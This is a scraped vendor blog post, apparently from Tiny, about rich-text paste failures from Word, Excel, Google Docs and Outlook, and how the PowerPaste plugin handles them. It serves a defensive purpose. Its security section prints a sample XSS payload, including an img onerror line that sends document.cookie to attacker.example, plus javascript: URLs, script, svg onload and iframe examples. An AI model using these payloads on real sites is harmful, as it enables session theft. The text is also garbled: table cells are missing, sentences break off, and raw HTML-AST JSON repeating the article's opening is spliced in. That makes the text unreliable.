\nA production paste handler has to read both halves together, match each paragraph’s mso-list level to its list definition, rebuild real nested lists, and drop the bullet-glyph spans. That’s a conversion from Word’s document model to HTML, not a cleanup pass. In our test, the Word payload came back like this:
<ul>\n <li>Approve the release notes\n <ul style=\"list-style-type: circle;\">\n <li>Check the changelog links</li>\n </ul>\n </li>\n <li>Publish</li>\n</ul>\n
And a two-level bulleted list is the easy case. Multi-level numbering with custom indents, a list that continues after an interrupting paragraph, lists inside table cells, numbering that restarts or starts above 1, a line break inside a list item: each is another set of rules a paste handler has to get right.
\nPowerPaste produced that output, and in our tests it handled the harder cases too: the list type followed Word’s list definitions rather than the typed bullet, a list starting at 3 came back as <ol start=\"3\">, numbering continued after an interrupting paragraph while a separate list restarted at 1, and lists inside table cells came through intact.
\nHeadings break in two ways. Text an author formatted by hand, bold and 14 point, arrives as a paragraph that only looks like a heading, so it never reaches your table of contents or a screen reader’s list of headings. Text that uses Word’s built-in heading styles does arrive as heading elements, which means a pasted Heading 1 can add a second <h1> to a page whose template already has one, or skip a level in your outline.
\nTinyMCE’s Accessibility Checker covers what paste can’t decide for you. It flags paragraphs used as headings, skipped heading levels, and paragraphs that start with bullet characters or numbers instead of using list markup. To stop a pasted Heading 1 from competing with your page title, limit the allowed heading levels with content filtering or demote <h1> to <h2> in a paste_postprocess callback.
Word's clipboard HTML carries far more than content: Mso* classes, mso-* style properties, <o:p> tags, conditional comments, and a font declaration on almost every span. Stored as-is, that markup overrides your product's CSS today and breaks whatever consumes the HTML tomorrow.
A single sentence with one bold phrase looks like this:
\n<p class=MsoNormal><span style='font-size:11.0pt;font-family:\"Calibri\",sans-serif;\nmso-fareast-font-family:Calibri;mso-bidi-font-family:Arial'>Our refund window is\n<b style='mso-bidi-font-weight:normal'>30 days</b>.<o:p></o:p></span></p>\n
The cost shows up later and somewhere else. Inline fonts fight your site and email templates, proprietary tags trip up strict renderers, and nested spans pile up with every edit. Users of one grants platform reported that pasted Word content, full of deeply nested spans and Office-specific styles, was breaking PDF conversions. That's why we treat HTML compliance as most important for content that leaves your editor: emails, PDFs, knowledge base articles, and pages rendered by other systems.
\nThe same markup overrides your design system. Hard-coded fonts and colors ignore your type scale and theme, so \"why does this paragraph look different?\" becomes a recurring ticket, and a dark-blue text color that reads fine on white can become illegible in dark mode or fail contrast requirements. In our test with an Outlook-style email, \"Keep formatting\" kept color: #1F3864 on every line, while \"Remove formatting\" returned plain paragraphs with only the bold claim number intact.
Word content can also carry review history. Comments and tracked changes travel with copied text, and Word attaches the reviewer's user name or initials to them. In a web editor, that can put an internal note or a struck-through draft figure into published content. In our test, PowerPaste removed a Word comment and its anchor. Treat revision markup as a policy decision: if your product should never store it, ask authors to accept or reject changes before copying, or drop <del> elements and unwrap <ins> in a paste_postprocess callback.
PowerPaste is built for this exactly. It automatically cleans up content pasted from Microsoft Word, Microsoft Excel, Google Docs, and HTML sources, so your app stores structured HTML instead of Office markup. On the PowerPaste demo, the same Word document produces 95 lines of HTML without PowerPaste and 59 lines with it, and you can open the source view to compare them yourself. In our test, a 2,433-character Word payload (a heading plus a three-item list) came out of \"Remove formatting\" as about 150 characters of plain, structured HTML.
\nThe product decision is how much of the user's formatting to keep. Add powerpaste to your TinyMCE plugins and set powerpaste_word_import to clean to keep headings, lists, and tables while dropping inline styles, so content picks up your stylesheet. Set it to merge to keep the original formatting minus invalid and proprietary markup, or to prompt to let each user choose. If you keep some formatting, valid_styles limits which CSS properties survive, for example text alignment but not font families or colors, and the Accessibility Checker flags text that fails contrast ratios before it's published.
Excel keeps cell styling in a <style> block and points to it with class names. Editors rarely keep a pasted <style> block, because its rules are global and can restyle your whole page, so the borders, alignment, and number formats disappear with it. Cleanup code that rebuilds tables cell by cell often breaks merged cells too. It's the same pattern as Word lists: the meaning lives in a style block, and the cells only point at it.
A table with a merged header and a merged row label looks like this on the clipboard (simplified):
\n<style>\n.xl65 {mso-number-format:\"\\0022$\\0022\\#\\,\\#\\#0\\.00\"; font-weight:700;}\n.xl66 {text-align:center; border:.5pt solid windowtext;}\n</style>\n<col width=64 span=4 style='width:48pt'>\n<tr height=20 style='height:15.0pt'>\n <td colspan=2 class=xl66 width=128>Q3 revenue</td>\n <td rowspan=2 class=xl66 width=64>Region</td>\n <td class=xl65 width=64>$1,200.00</td>\n</tr>\nLose the style block and you get a borderless grid with no alignment. Lose colspan or rowspan and every cell after the merge shifts, so values land under the wrong headers. Pasted spreadsheet tables also tend to arrive with every cell as a <td>, so screen readers get no header row to announce.
Production handling resolves class-based styles into inline styles (or drops them on purpose), keeps colspan and rowspan intact, and normalizes widths to something your layout can live with. In our test, PowerPaste read that style block: \"Keep formatting\" preserved colspan=\"2\" and rowspan=\"2\" and turned the .xl66 rule into inline borders and centering. \"Remove formatting\" kept the merged cells and widths and dropped the styling. For widths, TinyMCE's table_sizing_mode option enforces percentage-based (relative) or width-free (responsive) sizing for new and modified tables, and the Accessibility Checker flags tables without header cells. For a walkthrough of tables, formulas, and charts, see how to paste content from Word or Excel.
Word on Windows doesn't always put image data in its clipboard HTML. It can reference temporary files on the user's disk instead, and a web page can't read those. Pictures arrive broken or missing unless the editor takes the image data from the clipboard and sends it through your upload process.
\n<img width=320 height=180 alt=\"Q3 revenue chart\"\n src=\"file:///C:/Users/ana/AppData/Local/Temp/msohtmlclip1/01/clip_image002.png\">\n
When image data does come through, it usually arrives as Base64 data URIs that bloat the stored HTML and your database. Some Word images arrive as EMF, which has to be converted to PNG before it's usable on the web. In one reported case, pasting text from Word in Chrome also inserted a PNG snapshot of the whole selection below the text.
\nLarge pastes add a performance problem on top. A long document with screenshots can produce a multi-megabyte payload that has to be parsed and sanitized on the browser's main thread before the editor responds again, and PowerPaste's documentation notes that images larger than about 8.5MB may fail to import. Check alt text as well: pasted images can arrive with no alt text, or with a file name standing in for a description.
\nWith PowerPaste, images embedded in Word and Excel content arrive as Base64 data (powerpaste_allow_local_images is on by default), and TinyMCE can upload them automatically through your image upload handler. The stored HTML then points to your storage instead of a data URI. For image types browsers can't read, powerpaste_keep_unsupported_src keeps the original path in a data-image-src attribute so your own post-processing can deal with it, and the Accessibility Checker flags missing alt text and file names used as alt text. Whatever handler you use, set allowed file types and size limits so a 30MB screenshot doesn't end up in a database row.
Rules written for Word miss everything else. Google Docs, Google Sheets, web pages, and AI chat tools each put a different shape of HTML on the clipboard. The best-known example is Google Docs wrapping the entire selection in a bold tag:
\n<meta charset=\"utf-8\">\n<b style=\"font-weight:normal;\" id=\"docs-internal-guid-4f1c2a9e-7fff-3b5d-91a2-6c0e8d2f4b17\">\n <p dir=\"ltr\" style=\"line-height:1.38;margin-top:0pt;margin-bottom:0pt;\">\n <span style=\"font-size:11pt;font-family:Arial,sans-serif;font-weight:700;white-space:pre-wrap;\">Refund policy:</span>\n <span style=\"font-size:11pt;font-family:Arial,sans-serif;font-weight:400;white-space:pre-wrap;\"> requests are reviewed within 5 business days.</span>\n </p>\n</b>\n
An editor that keeps the outer <b> makes everything bold. An editor that strips inline styles loses the real bold, because Google Docs marks it with font-weight:700 on a span rather than a <strong> element. Web pages bring their own class names and site styles. AI chat tools add another variable, because users may paste either rendered HTML or raw Markdown, and literal asterisks and pound signs make a poor knowledge base article. If Markdown is common in your product, plan how to paste Markdown into TinyMCE as structured content.
Outlook belongs on the list too. Outlook has used Word's HTML engine since Outlook 2007, so text copied from a support thread or customer email carries the same Office markup as a Word document, signatures and colored text included.
\nFixing the issue is only half the work. Google Docs is a web app without versioned releases or a changelog for its clipboard output, so the markup can change without notice. Paste rules need ongoing attention, not a one-time fix.
\nProduction handling detects the source first (for example, Word's <meta name=ProgId content=Word.Document> or the docs-internal-guid id), applies source-specific rules, and then runs the same allowlist for everything. PowerPaste is built this way: it has a separate setting for each source, powerpaste_word_import, powerpaste_googledocs_import, and powerpaste_html_import, so you can keep formatting from one source and strip it from another. In our test, the Google Docs payload above came back as <p><strong>Refund policy:</strong> requests are reviewed within 5 business days.</p>. For the full Docs workflow, including tables and images, read Google Docs to HTML.
Where the paste lands matters as well as where it comes from. Pasting bold text into a bold paragraph, or formatted text into a list item, produces nested and duplicated tags unless the editor merges them. TinyMCE's paste_merge_formats, on by default, collapses redundant formatting such as <b> inside <b>.
The clipboard can carry markup from any page a user copied from, including event handlers and script URLs. That makes your paste handler a security boundary: sanitize on paste, then again on the server.
\n<p>Quarterly update <img src=\"x\" onerror=\"fetch('https://attacker.example/?c='+document.cookie)\">\n<a href=\"javascript:alert(document.domain)\">details</a></p>\n<script>alert(document.cookie)</script>\n<svg onload=\"alert(1)\"><circle r=\"5\"></circle></svg>\n<iframe src=\"https://attacker.example/login\"></iframe>\n<p onclick=\"alert(1)\">Click me</p>\nThis isn't theoretical. In 2020, a security researcher published research on copy-and-paste attacks that reported four security issues in browsers and five vulnerabilities in rich text editors, with bug bounties totaling more than $30,000. His central point: once an editor takes over paste handling, the browser's own sanitization no longer protects you, and the editor's code does.
\nWhichever editor you use, its paste path should analyze pasted HTML somewhere nothing can run or load, sanitize it against an allowlist of tags, attributes, and URL schemes, and sandbox embedded frames. Then repeat the input sanitization on the server before anything is stored or rendered. A Content Security Policy adds a page-level layer on top: if something slips through, the browser still refuses to run scripts from sources you haven't allowed.
\nIn TinyMCE, incoming HTML is parsed with the browser's DOMParser and sanitized with DOMPurify, according to its security documentation. The xss_sanitization option is on by default, SVG isn't supported, and sandbox_iframes adds an empty sandbox attribute to embedded frames. In our tests with an equivalent payload, the onerror and onclick handlers, the javascript: URL, the <script> tag, and the SVG were removed, the iframe was kept with sandbox=\"\", and none of the payloads ran, both with PowerPaste and with TinyMCE's built-in paste. Tiny still recommends filtering content on the server, because attackers can bypass any client-side check, and its security guide lists the CSP directives TinyMCE needs.
What reaches your code depends on the browser, the clipboard API, the operating system, and even how the document was opened. A fix verified on one machine can fail on the next.
\nThe API alone changes the payload. In the synchronous paste event, clipboardData.getData('text/html') returns unsanitized HTML, as the source app wrote it. Chrome's asynchronous navigator.clipboard.read() sanitizes by default: it strips <script>, <meta>, <head>, and <style> elements and inlines CSS, unless your code asks for unsanitized HTML. The same copy gives two different payloads depending on which path your editor uses. Our earlier post on the Async Clipboard API covers how the newer API differs from event-based paste.
Platform and app quirks add more cases:
\npaste_block_drop to switch drag and drop off when unfiltered content is a risk. , and tabs need converting in plain-text pastes (TinyMCE turns each tab into four spaces by default, set with paste_tab_spaces).No product team can keep up with this on the side. TinyMCE is built to handle browser inconsistencies across current Chrome, Edge, Firefox, and Safari, and documents the paste exceptions it can't control, such as Protected View and Excel for the web, so you don't learn about them from support tickets.
\nIf you're choosing an editor rather than building one, these are the requirements the seven failures add up to. Ask every vendor on your shortlist how their editor meets each one, then check the answers with a test matrix like the one below.
\n| \n Requirement \n | \n\n Why it matters \n | \n\n How TinyMCE handles it \n | \n
|---|---|---|
| \n Rebuilds lists and keeps real headings \n | \n\n Fake lists and headings break numbering and screen readers \n | \n\n PowerPaste rebuilds Word lists as nested | \n
| \n Removes Office markup but keeps structure \n | \n\n Office styles break emails, PDFs, and your design system \n | \n\n
| \n
| \n Keeps table structure, including merged cells \n | \n\n Lost | \n\n PowerPaste keeps table structure and resolves Excel's class-based styles; | \n
| \n Brings pasted images into your storage \n | \n\n Local file paths break, and Base64 blobs bloat your database \n | \n\n Pasted images upload through | \n
| \n Treats each source differently \n | \n\n Word, Google Docs, Outlook, and web HTML each need their own rules \n | \n\n Separate | \n
| \n Sanitizes pasted HTML by default \n | \n\n The clipboard is an XSS vector \n | \n\n
| \n
| \n Lets you vary paste rules by user or field \n | \n\n Authors, admins, and short fields need different behavior \n | \n\n
| \n
| \n Behaves consistently across browsers \n | \n\n Platform quirks otherwise surface as support tickets \n | \n\n Supports current Chrome, Edge, Firefox, and Safari, and documents exceptions such as Protected View and Excel for the web \n | \n
Meeting those requirements in TinyMCE takes a few lines of configuration:
\ntinymce.init({\n selector: '#editor',\n plugins: 'powerpaste lists table image',\n powerpaste_word_import: 'clean', // keep headings, lists, tables; drop Word styling\n powerpaste_googledocs_import: 'clean',\n powerpaste_html_import: 'clean',\n images_upload_url: '/api/editor-images', // pasted images end up in your storage\n table_sizing_mode: 'relative'\n // xss_sanitization is on by default\n});\nThe parsing, list rebuilding, and per-source rules live in the editor, and keeping them current as Word and Google Docs change is Tiny's job rather than your team's.
\nTest pasting across a range of real-world scenarios. Run it against every editor on your shortlist during the proof of concept, starting with the PowerPaste demo, then keep it as a regression suite after you choose: replay saved clipboard payloads automatically in CI and do a real-copy pass from the actual apps before each release.
\n| \n Source \n | \n\n What to copy \n | \n\n What to check \n | \n
|---|---|---|
| \n Word (Windows and Mac) \n | \n\n Nested bulleted and numbered lists, styled and hand-formatted headings, a bold run, an image \n | \n\n Real nested | \n
| \n Word with review history \n | \n\n A paragraph with tracked changes and a comment \n | \n\n No reviewer names, comments, or deleted text in the result \n | \n
| \n Long Word document \n | \n\n 50 pages with screenshots \n | \n\n Editor stays responsive; images uploaded; paste time recorded \n | \n
| \n Images across browsers \n | \n\n The same screenshot, pasted in Safari and in Chrome \n | \n\n Same stored result in both: an uploaded image, no blob or data URL left behind \n | \n
| \n Excel \n | \n\n Table with merged header cells and a currency column \n | \n\n
| \n
| \n Google Docs \n | \n\n Paragraph with partial bold, a link, a small table \n | \n\n No | \n
| \n Outlook \n | \n\n Customer email with a signature and colored text \n | \n\n No hard-coded colors or fonts unless your policy allows them \n | \n
| \n Web page \n | \n\n Article with site styles and an embedded video \n | \n\n No foreign classes, iframe sandboxed \n | \n
| \n AI chat tool \n | \n\n Answer with a list and a code block \n | \n\n Markdown and HTML both convert to the same structure \n | \n
| \n Hostile page \n | \n\n Script, event-handler, and | \n\n No handlers, scripts, or | \n
Run the matrix in Chrome, Edge, Firefox, and Safari, on both Windows and macOS. For automated runs, save each source's text/html as a fixture and replay it through the editor's real paste path:
// Replay a saved clipboard fixture through the editor's paste handling\nasync function replayPaste(editor, html, text = '') {\n const data = new DataTransfer();\n data.setData('text/html', html);\n data.setData('text/plain', text);\n editor.getBody().dispatchEvent(\n new ClipboardEvent('paste', { clipboardData: data, bubbles: true, cancelable: true })\n );\n await new Promise((resolve) => setTimeout(resolve, 500));\n return editor.getContent();\n}\nSet your paste mode explicitly in the test configuration so no formatting prompt blocks the run, and compare the returned HTML against an approved snapshot. Synthetic events don't reproduce operating-system clipboard quirks, so keep the manual pass.
\nTwo more tests can help catch issues you might otherwise miss. Run a roundtrip: paste, save, reload, and compare the structure (lists, headings, merged cells) rather than raw HTML strings, because some damage only appears after storage. Then measure paste in production: log the HTML size before and after cleaning, and tag paste-related support tickets, so you can show whether paste quality improves release by release.
\nPaste handling is never finished. Word, Excel, and Google Docs change their output, browsers change their clipboard APIs, and every regression reaches you as a support ticket. The real decision is who maintains the pipeline.
\nIt's tempting to hand the job to an AI coding assistant. A generated paste handler will strip some tags and pass a demo, but it won't know that Word encodes list levels in mso-list styles, that Google Docs wraps everything in a bold tag, or that Protected View hands you plain text. Edge cases like these are where rich text editing gets expensive, and a general-purpose AI tool doesn't cover them.
HYPE Innovation, which builds innovation management software, learned this the hard way. Customers kept running into formatting problems when they pasted text from Microsoft Word into the rich text editor in HYPE's product, and fixing them consumed developer and support time. Senior software developer Simon Reinhardt summed up the turning point: \"We reached a point where we received another support request and thought, what else can we do? Should we continue investing in this?\" After moving to TinyMCE with PowerPaste, HYPE reports 50% fewer text-editing support tickets and estimates it saves 20 developer days a year.
\nOwning paste means owning every new Word build and every Google Docs change, indefinitely. TinyMCE has spent roughly two decades on these edge cases, and Tiny's self-hosted Enterprise agreement commits to a four-hour response, within service hours, for issues that make effective use of the editor impossible. If you'd rather put numbers on the build option, see our clean copy-paste function cost estimate, which breaks down the engineering effort.
\nPaste failures are predictable. They fall into the seven patterns above and show up in the first week of real use. Each one is solvable; the hard part is that all seven need solving at once, and they keep changing.
\nBefore your next release, try this: copy one nested list, one table with merged cells, and one image from Word, Excel, and Google Docs into your editor, then open the HTML source. Count the problems. Then paste the same content into the PowerPaste demo and compare the source view. The difference tells you whether paste is a feature you want to own.
\n\nTinyMCE has built-in paste handling for general HTML. It includes plain-text paste (paste_as_text), smart paste that turns pasted URLs into links or images, control over pasted data-URI images (paste_data_images), and paste_preprocess and paste_postprocess hooks for your own filtering. Built-in paste also sanitizes: in our test it stripped event handlers, javascript: links, and scripts, and xss_sanitization is on by default. PowerPaste adds the source-specific cleanup for Microsoft Word, Microsoft Excel, and Google Docs, plus the choice to clean or merge styles.
PowerPaste is a premium plugin, so it isn't part of the free core editor. It's included in the Professional and Enterprise plans, and every plan comes with a 14-day trial of all advanced features, so you can run the test matrix against your own documents before you commit. See TinyMCE pricing for current plans.
\nYes. Set paste_as_text: true on the editor instances where formatting shouldn't survive, such as titles or short descriptions, and users can still toggle the Paste as text item in the Edit menu. The trade-off is that lists, links, and tables arrive as plain lines of text, so keep rich paste for fields where structure matters.
Not fully. Because of limitations in Excel for the web (part of Office Live), PowerPaste doesn't support pasting from it, and users get a plain-text version of the content. Copying from Google Sheets may work but isn't officially supported. The documented test targets are Word and Excel versions under Microsoft mainstream support or provided by Office 365, and the latest version of Google Docs.
\nWhen paste fixes keep coming back. The signs are familiar: the same Word or Google Docs bugs return after source-app updates, your team maintains separate cleanup rules for each source, security reviews keep flagging the paste path, or the editor stalls on long documents. At that point paste is an ongoing maintenance cost rather than a one-off fix, and moving to an editor with maintained paste handling is often the cheaper path. HYPE Innovation made that switch and halved its text-editing support tickets.
","htmlAst":{"type":"root","children":[{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"a","properties":{"href":"https://stackoverflow.com/questions/2176861","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"One of the most-viewed Stack Overflow questions about handling paste"}]},{"type":"text","value":" was asked in 2010 with over 515,000 views. Developers keep coming back to it because paste is where a \"simple\" rich text editor stops being simple. The demo works until real users paste rich text from Word, Excel, Google Docs, and the browser tab next door. Then lists flatten, tables lose their borders, images vanish, and support tickets pile up. Here are seven paste failures that show up in production, the clipboard payload behind each one, and what it takes to handle them."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"aside","properties":{"className":["tny-kt"],"ariaLabelledBy":["tny-kt-title"]},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{"id":"tny-kt-title","className":["tny-kt__title"]},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Key takeaways"}]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"ul","properties":{"className":["tny-kt__list"],"role":"list"},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Paste is the one input your editor doesn't control."}]},{"type":"text","value":" Every rich text editor paste brings in HTML written by Word, Excel, Google Docs, Outlook, web pages, or AI tools, and each writes it differently."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Seven failures show up in production:"}]},{"type":"text","value":" lists and headings, Office markup, tables, images, source dialects, unsafe markup, and browser and platform differences."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"The damage lands downstream,"}]},{"type":"text","value":" in emails, PDFs, accessibility, and support tickets, long after the paste."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Production paste is a pipeline:"}]},{"type":"text","value":" detect the source, clean it, map it to your content model, sanitize it, upload images, and check again on the server."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"TinyMCE runs that pipeline in the editor."}]},{"type":"text","value":" PowerPaste cleans and rebuilds Word, Excel, Google Docs, and HTML content as standard HTML, DOMPurify sanitization is on by default, and HYPE Innovation reports 50% fewer text-editing support tickets after switching."}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"figure","properties":{"className":["image"]},"children":[{"type":"element","tagName":"img","properties":{"src":"https://images.ctfassets.net/s600jj41gsex/2O7nc6pKYlXgMYz1NoE9EP/d253b03979ffff00086bcb4f1490b7a3/rich-text-paste-problems-in-production-1.webp","alt":"","width":1600,"height":838},"children":[]},{"type":"text","value":"\n"},{"type":"element","tagName":"figcaption","properties":{"spellCheck":"false","dataQbTmpId":"lt-864757","dataGramm":"false"},"children":[]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"Why paste is the input you don't control"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Production paste is what happens when real users copy formatted content from the tools they work in such as Word, Excel, Google Docs, and Outlook, and paste it into your product. This guide is for engineering managers, senior front-end engineers, and product managers whose product embeds a rich text editor for knowledge base articles, support replies, emails, learning content, or other end user-facing HTML. It covers paste in current desktop versions of Chrome, Edge, Firefox, and Safari."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"When an end user types, every character goes through your editor's own commands, so the output matches your formatting rules. Paste is different. Your editor receives HTML written by another application, for another renderer, with its own idea of what a list or a table is."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"One copy action puts several formats on the clipboard at once: typically "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"text/plain"}]},{"type":"text","value":" and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"text/html"}]},{"type":"text","value":", and often image data or RTF. Your code picks a format in the "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste"}]},{"type":"text","value":" event, usually "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"text/html"}]},{"type":"text","value":" because it carries the structure users expect to keep, and then has to translate it into your markup. If your editor is built directly on "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/using-html-contenteditable/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"contenteditable"}]},{"type":"text","value":" and doesn't handle paste, the browser inserts that foreign markup more or less as it arrived."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Do-it-yourself paste handling gets complicated fast. "},{"type":"element","tagName":"a","properties":{"href":"https://stackoverflow.com/a/6804718","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"The top-voted answer on that Stack Overflow question"}]},{"type":"text","value":" includes a fallback that lets the browser paste into the element, then checks the DOM every 20 milliseconds to find out what arrived."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Handling copy and paste properly takes a pipeline, not a cleanup function. In a production editor, it runs in six steps:"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"ol","properties":{},"children":[{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Detect the source."}]},{"type":"text","value":" Word, Excel, Google Docs, Outlook, and web pages each need different rules."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Clean and convert source markup:"}]},{"type":"text","value":" drop what has no meaning on the web and rebuild what does, such as lists, headings, and tables, as standard HTML."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Map the result to your content model,"}]},{"type":"text","value":" so only the elements, classes, and styles your product allows survive. If that concept is new to your team, start with "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/blog/html-content-models/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"HTML content models"}]},{"type":"text","value":"."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Sanitize"}]},{"type":"text","value":" against an allowlist so nothing executable gets through."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Move images into your storage"}]},{"type":"text","value":" instead of keeping local file paths or inline Base64 data."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"li","properties":{},"children":[{"type":"element","tagName":"strong","properties":{},"children":[{"type":"text","value":"Check again on the server"}]},{"type":"text","value":" before content is stored, emailed, or rendered."}]},{"type":"text","value":"\n"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"In TinyMCE, PowerPaste does much of this before content reaches the editor. It detects the source, "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_word_import","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"removes invalid and proprietary styles, tags, and attributes"}]},{"type":"text","value":", and rebuilds structures such as Word lists from scratch: a conversion from Word's document model to HTML, not a cleanup pass. TinyMCE's "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/content-filtering/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"content filtering"}]},{"type":"text","value":" ("},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"valid_elements"}]},{"type":"text","value":", "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"valid_styles"}]},{"type":"text","value":") then applies your product's rules, DOMPurify sanitizes the result, and your image upload handler takes care of images. The "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#paste_preprocess","target":"_blank","rel":["noopener"]},"children":[{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_preprocess"}]},{"type":"text","value":" and "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"paste_postprocess"}]}]},{"type":"text","value":" hooks let you add rules specific to your product. The last step stays on your server, as Tiny's own security guidance recommends."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"element","tagName":"img","properties":{"src":"https://images.ctfassets.net/s600jj41gsex/6nShARWhUmHru1T6Yyl6sc/81687ce29d71cc95294136cfdf465f76/rich-text-paste-problems-in-production-2.webp","alt":"","width":1600,"height":1072},"children":[]}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"To show what each failure looks like in code, we rebuilt typical Word, Excel, Google Docs, and Outlook clipboard content and replayed them through "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/tinymce/features/powerpaste/","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"PowerPaste"}]},{"type":"text","value":" on the public demo in the TinyMCE documentation (TinyMCE 8.9 and 8.10 October 2026). These are simplified reconstructions, and real clipboard output varies by app version, so treat the results as illustrations. You can repeat the experiment with your own documents in the "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"PowerPaste demo"}]},{"type":"text","value":"."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"h2","properties":{},"children":[{"type":"text","value":"1. Lists and headings pasted from Word arrive as styled paragraphs"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Word doesn’t put "},{"type":"element","tagName":"code","properties":{},"children":[{"type":"text","value":"\n · \n Approve the release notes
\n o \n Check the changelog links
\n · \n Publish
Our refund window is\n30 days.
![\"Q3](\"file:///C:/Users/ana/AppData/Local/Temp/msohtmlclip1/01/clip_image002.png\")
"}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"When image data does come through, it usually arrives as Base64 data URIs that bloat the stored HTML and your database. Some Word images arrive as EMF, which "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_emf_processor","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"has to be converted to PNG"}]},{"type":"text","value":" before it's usable on the web. In "},{"type":"element","tagName":"a","properties":{"href":"https://support.squidex.io/t/minor-issue-copying-from-ms-word-spawns-png-file/1712","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"one reported case"}]},{"type":"text","value":", pasting text from Word in Chrome also inserted a PNG snapshot of the whole selection below the text."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Large pastes add a performance problem on top. A long document with screenshots can produce a multi-megabyte payload that has to be parsed and sanitized on the browser's "},{"type":"element","tagName":"a","properties":{"href":"https://developer.mozilla.org/en-US/docs/Glossary/Main_thread","target":"_blank","rel":["nofollow","noopener"]},"children":[{"type":"text","value":"main thread"}]},{"type":"text","value":" before the editor responds again, and PowerPaste's documentation notes that "},{"type":"element","tagName":"a","properties":{"href":"https://www.tiny.cloud/docs/tinymce/latest/introduction-to-powerpaste/#usage","target":"_blank","rel":["noopener"]},"children":[{"type":"text","value":"images larger than about 8.5MB may fail to import"}]},{"type":"text","value":". Check alt text as well: pasted images can arrive with no alt text, or with a file name standing in for a description."}]},{"type":"text","value":"\n"},{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"With PowerPaste, images embedded in Word and Excel content arrive as Base64 data 